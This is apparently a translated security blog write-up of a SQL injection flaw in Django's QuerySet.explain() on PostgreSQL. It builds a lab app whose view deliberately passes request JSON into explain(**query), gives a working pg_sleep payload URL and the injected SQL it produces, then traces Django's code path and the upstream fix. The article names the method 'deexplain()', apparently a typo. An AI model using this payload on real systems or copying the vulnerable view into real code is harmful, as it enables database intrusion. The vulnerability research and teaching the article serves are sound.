![null 1cf457f0b5c067cde9e7a947851a2a65.png](https://img-blog.csdnimg.cn/img_convert/1cf457f0b5c067cde9e7a947851a2a65.png)
Vulnerability Profile
A SQL injection issue was found in QuerySet.deexplain() in Django 2.2 versions prior to 2.2.28, 3.2 versions prior to 3.2.13, and 4.0 versions prior to 4.0.4. This is achieved by passing a crafted dictionary (with dictionary extensions) as the **options argument, with the injection payload placed in the option names.
Affected version
2.2 =< Django < 2.2.28
3.2 =< Django < 3.2.13
4.0 =< Django < 4.0.4
Environment build
Create vulnerable Django version 3.2.12 project
Create startapp Demo and modify the files in turn
Install postgresql database
settings.py set the connection database to postgresql database
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.postgresql',
'NAME': 'test',
'USER': 'postgres',
'PASSWORD': '123456',
'HOST': '127.0.0.1',
'PORT': '5432',
}
}
urls.py set the corresponding route
from django.contrib import admin
from django.urls import path
from Demo import views
urlpatterns = [
path('admin/', admin.site.urls),
path('index/', views.index),
path('demo/', views.users),
path('initialize/', views.loadexampledata),
]
models.py
from django.db import models
# Create your models here.
class User(models.Model):
name = models.CharField(max_length=200)
def __str__(self):
return self.name
views.py
import json
from django.http import HttpResponse
from django.shortcuts import render
# Create your views here.
from .models import User
def index(request):
return HttpResponse('hello world')
def users(request):
query = request.GET.get('q')
query = json.loads(query)
qs = User.objects.get_queryset().explain(**query)
return HttpResponse(qs)
def loadexampledata(request):
u = User(name="Admin")
u.save()
u = User(name="Staff1")
u.save()
u = User(name="Staff12")
u.save()
return HttpResponse("ok")
Vulnerability recurrence
http://127.0.0.1:8000/demo/?q={"ANALYZE)+select+pg_sleep(5);--+":"aaa"}
![null 9fbe5e92bba9f3c6a65dd493351776e3.png](https://img-blog.csdnimg.cn/img_convert/9fbe5e92bba9f3c6a65dd493351776e3.png)
A successful build was found to put the server to sleep
Vulnerability analysis
Before code analysis, let's understand a knowledge point EXPLAIN
EXPLAIN
EXPLAIN -- display the execution plan of a statement
![null 19ca42664df249ba50641497862d8d0c.png](https://img-blog.csdnimg.cn/img_convert/19ca42664df249ba50641497862d8d0c.png)
EXPLAIN [ ( option [, ...] ) ] statement
EXPLAIN [ ANALYZE ] [ VERBOSE ] statement
option:
ANALYZE [ boolean ] 执行命令并显示实际运行时间
VERBOSE [ boolean ] 显示规划树完整的内部表现形式,而不仅是一个摘要
COSTS [ boolean ]
BUFFERS [ boolean ]
TIMING [ boolean ]
FORMAT { TEXT | XML | JSON | YAML }
statement:
查询执行计划的 SQL 语句,可以是任何 select、insert、update、delete、values、execute、declare 语句
EXPLAIN ANALYZE will not only display the query plan, but will actually run the statement. EXPLAIN ANALYZE discards any output from the SELECT statement, but other operations within that statement are performed (such as INSERT, UPDATE, or DELETE).
debug analysis
![null cc79d4cb712423ecbedee3bb03edc348.png](https://img-blog.csdnimg.cn/img_convert/cc79d4cb712423ecbedee3bb03edc348.png)
django.db.models.query.QuerySet.explain
![null 6fbbb472a857159772d53d9513896209.png](https://img-blog.csdnimg.cn/img_convert/6fbbb472a857159772d53d9513896209.png)
django.db.models.sql.query.Query.explain
![null 7b44b2fb22c286698d75bc4c610bd48e.png](https://img-blog.csdnimg.cn/img_convert/7b44b2fb22c286698d75bc4c610bd48e.png)
django.db.models.sql.compiler.SQLCompiler.explain_query
![null f79ce736c254ba83f7905e00fac1b0f3.png](https://img-blog.csdnimg.cn/img_convert/f79ce736c254ba83f7905e00fac1b0f3.png)
django.db.models.sql.compiler.SQLCompiler.execute_sql
![null 4f2a5b08720435243ad0cafc99d951dd.png](https://img-blog.csdnimg.cn/img_convert/4f2a5b08720435243ad0cafc99d951dd.png)
django.db.models.sql.compiler.SQLCompiler.as_sql
![null 6b74c9961326d7220edf16fb81e20f9b.png](https://img-blog.csdnimg.cn/img_convert/6b74c9961326d7220edf16fb81e20f9b.png)
Here, the corresponding explain_query_prefix method will be called according to the selected database
django.db.backends.postgresql.operations.DatabaseOperations.explain_query_prefix
![null 5a8fad8d1b7cdfec546c2446779069c6.png](https://img-blog.csdnimg.cn/img_convert/5a8fad8d1b7cdfec546c2446779069c6.png)
postgresql
The explain_query_prefix method is rewritten to splice the key name into the SQL statement
![null 648d53ec91253bfea70e20557bf1f429.png](https://img-blog.csdnimg.cn/img_convert/648d53ec91253bfea70e20557bf1f429.png)
The last SQL statement executed was
'EXPLAIN (ANALYZE) SELECT PG_SLEEP(5);-- true) SELECT "Demo_user"."id", "Demo_user"."name" FROM "Demo_user"'
Bug fixes
https://github.com/django/django/commit/00b0fc50e1738c7174c495464a5ef069408a4402#diff-fbd8a517f5fa1333b9f7273bcd007551cd2fb4b8f6732cd6002ba42411802901
![null ef9a13979ac247cfc6d1e708b6e8960a.png](https://img-blog.csdnimg.cn/img_convert/ef9a13979ac247cfc6d1e708b6e8960a.png)
Do a filter and throw an exception if a dangerous character is found
![null fce40e57e3ee330f7117464a7eda668a.png](https://img-blog.csdnimg.cn/img_convert/fce40e57e3ee330f7117464a7eda668a.png)
Only strings in the whitelist will be spliced into the statement
Call for original manuscripts
Call for original technical articles, welcome to post
Submission email: [email protected]
Article type: hacker geek technology, information security hotspots, security research and analysis, etc.
If you pass the review and publish it, you can get a remuneration ranging from 200-800 yuan.
For more details, click me to view!
Shooting range practice, click "Read the original text"